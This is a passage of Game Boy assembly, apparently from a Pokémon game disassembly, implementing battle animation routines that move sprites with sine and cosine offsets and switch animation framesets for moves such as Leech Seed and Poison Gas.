ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ret
.asm_cd747
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_28
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], $0
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld [hl], $30
ld hl, BATTLEANIMSTRUCT_01
add hl, bc
ld a, [hl]
and $1
ld [hl], a
Functioncd763:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $18
jr nc, .asm_cd76e
inc [hl]
ret
.asm_cd76e
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_29
call ReinitBattleAnimFrameset
Functioncd776:
ret
BattleAnimFunction_11:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
cp $38
jr c, .asm_cd784
call DeinitBattleAnimation
ret
.asm_cd784
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld l, [hl]
ld h, a
ld de, $80
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], e
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld a, [hl]
xor $10
ld [hl], a
ret
BattleAnimFunction_14:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd7ab
dw Functioncd7d2
Functioncd7ab:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f0
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f
sla a
sla a
sla a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld [hl], $1
Functioncd7d2:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
and a
jr nz, .asm_cd7de
call DeinitBattleAnimation
ret
.asm_cd7de
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld d, [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
xor $1
ld [hl], a
ret z
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
dec [hl]
ret
BattleAnimFunction_15:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd81f
dw Functioncd817
dw Functioncd81f
dw Functioncd820
Functioncd817:
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_35
call ReinitBattleAnimFrameset
Functioncd81f:
ret
Functioncd820:
call DeinitBattleAnimation
ret
BattleAnimFunction_16:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd835
dw Functioncd860
dw Functioncd88f
dw Functioncd88f
dw Functioncd88f
dw Functioncd88f
dw Functioncd893
Functioncd835:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_FRAMESET_ID
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
bit 7, [hl]
jr nz, .asm_cd852
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $10
jr .asm_cd858
.asm_cd852
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $30
.asm_cd858
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $7f
ld [hl], a
Functioncd860:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld d, [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
bit 7, a
jr nz, .load_no_inc
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
inc a ; BATTLEANIMFRAMESET_3B
; BATTLEANIMFRAMESET_A1
jr .reinit
.load_no_inc
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl] ; BATTLEANIMFRAMESET_3A
; BATTLEANIMFRAMESET_A0
.reinit
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ld a, [hl]
and $1f
ret nz
Functioncd88f:
call BattleAnim_IncAnonJumptableIndex
ret
Functioncd893:
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], $1
ret
BattleAnimFunction_17:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd8ab
dw Functioncd8cc
dw Functioncd8f5
dw Functioncd8f5
dw Functioncd8f5
dw Functioncd8f5
dw Functioncd8f9
Functioncd8ab:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
bit 7, [hl]
jr nz, .asm_cd8be
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $10
jr .asm_cd8c4
.asm_cd8be
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $30
.asm_cd8c4
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $7f
ld [hl], a
Functioncd8cc:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld d, [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
bit 7, a
jr nz, .asm_cd8e6
ld a, BATTLEANIMFRAMESET_3D
jr .asm_cd8e8
.asm_cd8e6
ld a, BATTLEANIMFRAMESET_3C
.asm_cd8e8
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
inc [hl]
ld a, [hl]
and $1f
ret nz
Functioncd8f5:
call BattleAnim_IncAnonJumptableIndex
ret
Functioncd8f9:
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], $1
ret
BattleAnimFunction_18:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd907
dw Functioncd913
Functioncd907:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $28
inc hl
ld [hl], $0
Functioncd913:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld d, [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and a
jr z, .asm_cd950
ld d, a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld e, [hl]
ld hl, -$80
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], e
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], d
ret
.asm_cd950
call DeinitBattleAnimation
ret
BattleAnimFunction_19:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncd961
dw Functioncd96a
dw Functioncd96e
dw Functioncd96a
dw Functioncd97b
Functioncd961:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld [hl], $0
Functioncd96a:
call Functioncd99a
ret
Functioncd96e:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $88
jr c, asm_cd988
call BattleAnim_IncAnonJumptableIndex
ret
Functioncd97b:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $b8
jr c, asm_cd988
call DeinitBattleAnimation
ret
asm_cd988:
call Functioncd99a
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
inc [hl]
ld a, [hl]
and $1
ret nz
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
ret
Functioncd99a:
call Functioncd9f4
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
push af
push de
call BattleAnim_Sine
sra a
sra a
sra a
sra a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
sub $8
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and a
jr z, .asm_cd9d7
cp $c2
jr c, .asm_cd9e2
.asm_cd9d7
dec a
ld [hl], a
and $7
ret nz
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
inc [hl]
ret
.asm_cd9e2
xor a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hli], a
ld [hl], a
ret
Functioncd9f4:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld e, [hl]
ld d, 0
ld hl, Unknown_cda01
add hl, de
ld d, [hl]
ret
Unknown_cda01:
db 8, 6, 5, 4, 5, 6, 8, 12, 16
BattleAnimFunction_1C:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $30
jr nc, .asm_cda17
call DeinitBattleAnimation
ret
.asm_cda17
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $f
ld e, a
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
sub e
ld [hl], a
srl e
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
.asm_cda2c
inc [hl]
dec e
jr nz, .asm_cda2c
ret
BattleAnimFunction_1F:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncda4c
dw Functioncda3a
dw Functioncda4c
Functioncda3a:
ld hl, BATTLEANIMSTRUCT_FRAMESET_ID
add hl, bc
ld a, [hl]
inc a ; BATTLEANIMFRAMESET_53
; BATTLEANIMFRAMESET_55
call ReinitBattleAnimFrameset
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $8
Functioncda4c:
ret
BattleAnimFunction_LeechSeed:
call BattleAnim_AnonJumptable
.anon_dw
dw .zero
dw .one
dw .two
dw .three
.zero:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], $40
ret
.one:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
cp $20
jr c, .sprout
call Functioncda8d
ret
.sprout
ld [hl], $40
ld a, BATTLEANIMFRAMESET_57
call ReinitBattleAnimFrameset
call BattleAnim_IncAnonJumptableIndex
ret
.two:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
and a
jr z, .flutter
dec [hl]
ret
.flutter
call BattleAnim_IncAnonJumptableIndex
ld a, BATTLEANIMFRAMESET_58
call ReinitBattleAnimFrameset
.three:
ret
Functioncda8d:
dec [hl]
ld d, $20
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_02
add hl, bc
ld a, [hl]
add $2
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld e, [hl]
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld d, [hl]
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld h, [hl]
ld a, h
and $f
swap a
ld l, a
ld a, h
and $f0
swap a
ld h, a
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], e
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
and $1
ret nz
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
ret
BattleAnimFunction_3F:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncdadf
dw Functioncdae9
dw Functioncdaf9
Functioncdadf:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], $40
ret
Functioncdae9:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
cp $20
jr c, .asm_cdaf6
call Functioncda8d
ret
.asm_cdaf6
call BattleAnim_IncAnonJumptableIndex
Functioncdaf9:
ret
BattleAnimFunction_1A:
call BattleAnimFunction_03
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
add $f
ld [hl], a
ret
BattleAnimFunction_1B:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncdb13
dw Functioncdb14
dw Functioncdb28
dw Functioncdb50
dw Functioncdb65
Functioncdb13:
ret
Functioncdb14:
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld a, [hl]
cp $30
jr c, .asm_cdb24
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], $0
ret
.asm_cdb24
add $4
ld [hl], a
ret
Functioncdb28:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $98
ret nc
inc [hl]
inc [hl]
ld hl, BATTLEANIMSTRUCT_01
add hl, bc
set 0, [hl]
ld hl, BATTLEANIMSTRUCT_02
add hl, bc
ld [hl], $90
ld hl, BATTLEANIMSTRUCT_FRAME
add hl, bc
ld [hl], $0
ld hl, BATTLEANIMSTRUCT_DURATION
add hl, bc
ld [hl], $2
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
ret
Functioncdb50:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $2c
ld hl, BATTLEANIMSTRUCT_FRAME
add hl, bc
ld [hl], $0
ld hl, BATTLEANIMSTRUCT_DURATION
add hl, bc
ld [hl], $80
Functioncdb65:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $98
ret nc
inc [hl]
inc [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
ld d, $8
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ret
BattleAnimFunction_1D:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncdb9f
dw Functioncdbb3
dw Functioncdbcf
dw Functioncdbeb
dw Functioncdc74
dw Functioncdc1a
dw Functioncdbc1
dw Functioncdc1e
dw Functioncdc27
dw Functioncdc39
dw Functioncdc74
dw Functioncdc48
dw Functioncdc57
dw Functioncdc74
Functioncdb9f:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $28
inc hl
ld [hl], $10
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
ld [hl], a
ret
Functioncdbb3:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $40
jr nc, .asm_cdbbd
inc [hl]
.asm_cdbbd
call Functioncdc75
ret
Functioncdbc1:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $4b
jr nc, .asm_cdbcb
inc [hl]
.asm_cdbcb
call Functioncdc75
ret
Functioncdbcf:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $88
jr nc, .asm_cdbe6
and $f
jr nz, asm_cdbfa
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], $10
call BattleAnim_IncAnonJumptableIndex
ret
.asm_cdbe6
call BattleAnim_IncAnonJumptableIndex
inc [hl]
ret
Functioncdbeb:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
and a
jr z, .asm_cdbf5
dec [hl]
ret
.asm_cdbf5
ld hl, BATTLEANIMSTRUCT_ANON_JT_INDEX
add hl, bc
dec [hl]
asm_cdbfa:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
inc [hl]
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld d, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld e, [hl]
ld hl, -$80
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], e
ret
Functioncdc1a:
call DeinitBattleAnimation
ret
Functioncdc1e:
ld a, BATTLEANIMFRAMESET_4E
call ReinitBattleAnimFrameset
call BattleAnim_IncAnonJumptableIndex
ret
Functioncdc27:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
inc [hl]
ld d, $2
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ret
Functioncdc39:
ld a, BATTLEANIMFRAMESET_50
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], $4
call BattleAnim_IncAnonJumptableIndex
ret
Functioncdc48:
ld a, BATTLEANIMFRAMESET_4F
call ReinitBattleAnimFrameset
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $40
ret
Functioncdc57:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $20
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
cp $30
jr c, .asm_cdc71
dec [hl]
ret
.asm_cdc71
call BattleAnim_IncAnonJumptableIndex
Functioncdc74:
ret
Functioncdc75:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hli]
ld d, [hl]
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ld a, [hl]
and $3f
ret nz
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $20
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
sub $8
ld [hl], a
ret nz
xor a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hli], a
ld [hl], a
call BattleAnim_IncAnonJumptableIndex
ret
BattleAnimFunction_1E:
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
and a
jr z, .asm_cdcb6
cp $d8
jr nc, .asm_cdcb6
call DeinitBattleAnimation
ret
.asm_cdcb6
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld d, [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, [hl]
sub d
ld [hl], a
ret
BattleAnimFunction_21:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncdcca
dw Functioncdced
Functioncdcca:
ldh a, [hBattleTurn]
and a
jr z, .asm_cdcd9
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
xor $ff
add $3
ld [hl], a
.asm_cdcd9
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $8
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, BATTLEANIMFRAMESET_59
add [hl] ; BATTLEANIMFRAMESET_5A BATTLEANIMFRAMESET_5B
call ReinitBattleAnimFrameset
ret
Functioncdced:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and a
jr z, .asm_cdcfa
dec [hl]
call Functioncdcfe
ret
.asm_cdcfa
call DeinitBattleAnimation
ret
Functioncdcfe:
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
inc [hl]
inc [hl]
ld d, $10
call BattleAnim_Sine
ld d, a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and a
jr z, .asm_cdd20
dec a
ret z
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], d
ret
.asm_cdd20
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld a, d
xor $ff
inc a
ld [hl], a
ret
BattleAnimFunction_22:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncdd31
dw Functioncdd4f
Functioncdd31:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $3f
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $80
rlca
ld [hl], a
add BATTLEANIMFRAMESET_5D ; BATTLEANIMFRAMESET_5E
call ReinitBattleAnimFrameset
ret
Functioncdd4f:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
swap a
ld d, a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
inc [hl]
push af
push de
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $80
ret nc
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
and $3
jr nz, .asm_cdd87
ld hl, BATTLEANIMSTRUCT_YCOORD
add hl, bc
dec [hl]
.asm_cdd87
and $1
ret nz
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
inc [hl]
ret
BattleAnimFunction_23:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncdd97
dw Functioncddbc
Functioncdd97:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_FRAMESET_ID
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $80
rlca
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
add [hl] ; BATTLEANIMFRAMESET_61 BATTLEANIMFRAMESET_62
; BATTLEANIMFRAMESET_9C BATTLEANIMFRAMESET_9D
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and $7f
ld [hl], a
Functioncddbc:
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld d, $10
push af
push de
call BattleAnim_Sine
sra a
sra a
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
inc [hl]
and $3f
jr z, .asm_cddf0
and $1f
ret nz
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc a ; BATTLEANIMFRAMESET_62
; BATTLEANIMFRAMESET_9D
jr .asm_cddf5
.asm_cddf0
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl] ; BATTLEANIMFRAMESET_61
; BATTLEANIMFRAMESET_9C
.asm_cddf5
call ReinitBattleAnimFrameset
ret
BattleAnimFunction_24:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncde02
dw Functioncde20
dw Functioncde21
Functioncde02:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
add BATTLEANIMFRAMESET_63 ; BATTLEANIMFRAMESET_64 BATTLEANIMFRAMESET_65
call ReinitBattleAnimFrameset
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld e, [hl]
ld d, 0
ld hl, Unknown_cde25
add hl, de
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
Functioncde20:
ret
Functioncde21:
call DeinitBattleAnimation
ret
Unknown_cde25:
db $ec, $f8, $00
BattleAnimFunction_25:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
inc [hl]
ld d, $4
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld d, [hl]
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld e, [hl]
lb hl, -1, $a0
add hl, de
ld e, l
ld d, h
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], d
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld [hl], e
ret
BattleAnimFunction_26:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
dec [hl]
dec [hl]
ld d, $10
call BattleAnim_Sine
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
inc [hl]
ret
BattleAnimFunction_27:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncde72
dw Functioncde88
Functioncde72:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
and a
jr nz, .asm_cde83
ld hl, BATTLEANIMSTRUCT_01
add hl, bc
set 6, [hl]
.asm_cde83
add BATTLEANIMFRAMESET_6A ; BATTLEANIMFRAMESET_6B BATTLEANIMFRAMESET_6C
call ReinitBattleAnimFrameset
Functioncde88:
ret
BattleAnimFunction_28:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncde90
dw Functioncdebf
Functioncde90:
call BattleAnim_IncAnonJumptableIndex
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], $0
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld e, [hl]
ld a, e
and $70
swap a
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld a, e
and $80
jr nz, .asm_cdeb2
ld a, e
and $f
ld [hl], a
ret
.asm_cdeb2
ld a, e
and $f
xor $ff
inc a
ld [hl], a
ld a, BATTLEANIMFRAMESET_6E
call ReinitBattleAnimFrameset
ret
Functioncdebf:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
and a
jr z, .asm_cdec9
dec [hl]
ret
.asm_cdec9
ld hl, BATTLEANIMSTRUCT_PARAM
add hl, bc
ld a, [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld a, [hl]
xor $ff
inc a
ld [hl], a
ret
BattleAnimFunction_SpiralDescent:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $18
push af
push de
call BattleAnim_Sine
sra a
sra a
sra a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ld a, [hl]
and $7
ret nz
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
cp $28
jr nc, .delete
inc [hl]
ret
.delete
call DeinitBattleAnimation
ret
BattleAnimFunction_2D:
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
ld d, $18
push af
push de
call BattleAnim_Sine
sra a
sra a
sra a
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
add [hl]
ld hl, BATTLEANIMSTRUCT_YOFFSET
add hl, bc
ld [hl], a
pop de
pop af
call BattleAnim_Cosine
ld hl, BATTLEANIMSTRUCT_XOFFSET
add hl, bc
ld [hl], a
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
inc [hl]
ld a, [hl]
and $3
ret nz
ld hl, BATTLEANIMSTRUCT_10
add hl, bc
ld a, [hl]
cp $28
jr nc, .asm_cdf55
inc [hl]
ret
.asm_cdf55
call DeinitBattleAnimation
ret
BattleAnimFunction_PoisonGas:
call BattleAnim_AnonJumptable
.anon_dw
dw Functioncdf60
dw BattleAnimFunction_SpiralDescent
Functioncdf60:
ld hl, BATTLEANIMSTRUCT_XCOORD
add hl, bc
ld a, [hl]
cp $84
jr nc, .next
inc [hl]
ld hl, BATTLEANIMSTRUCT_0F
add hl, bc
ld a, [hl]
inc [hl]
ld d, $18
call BattleAnim_Cosine
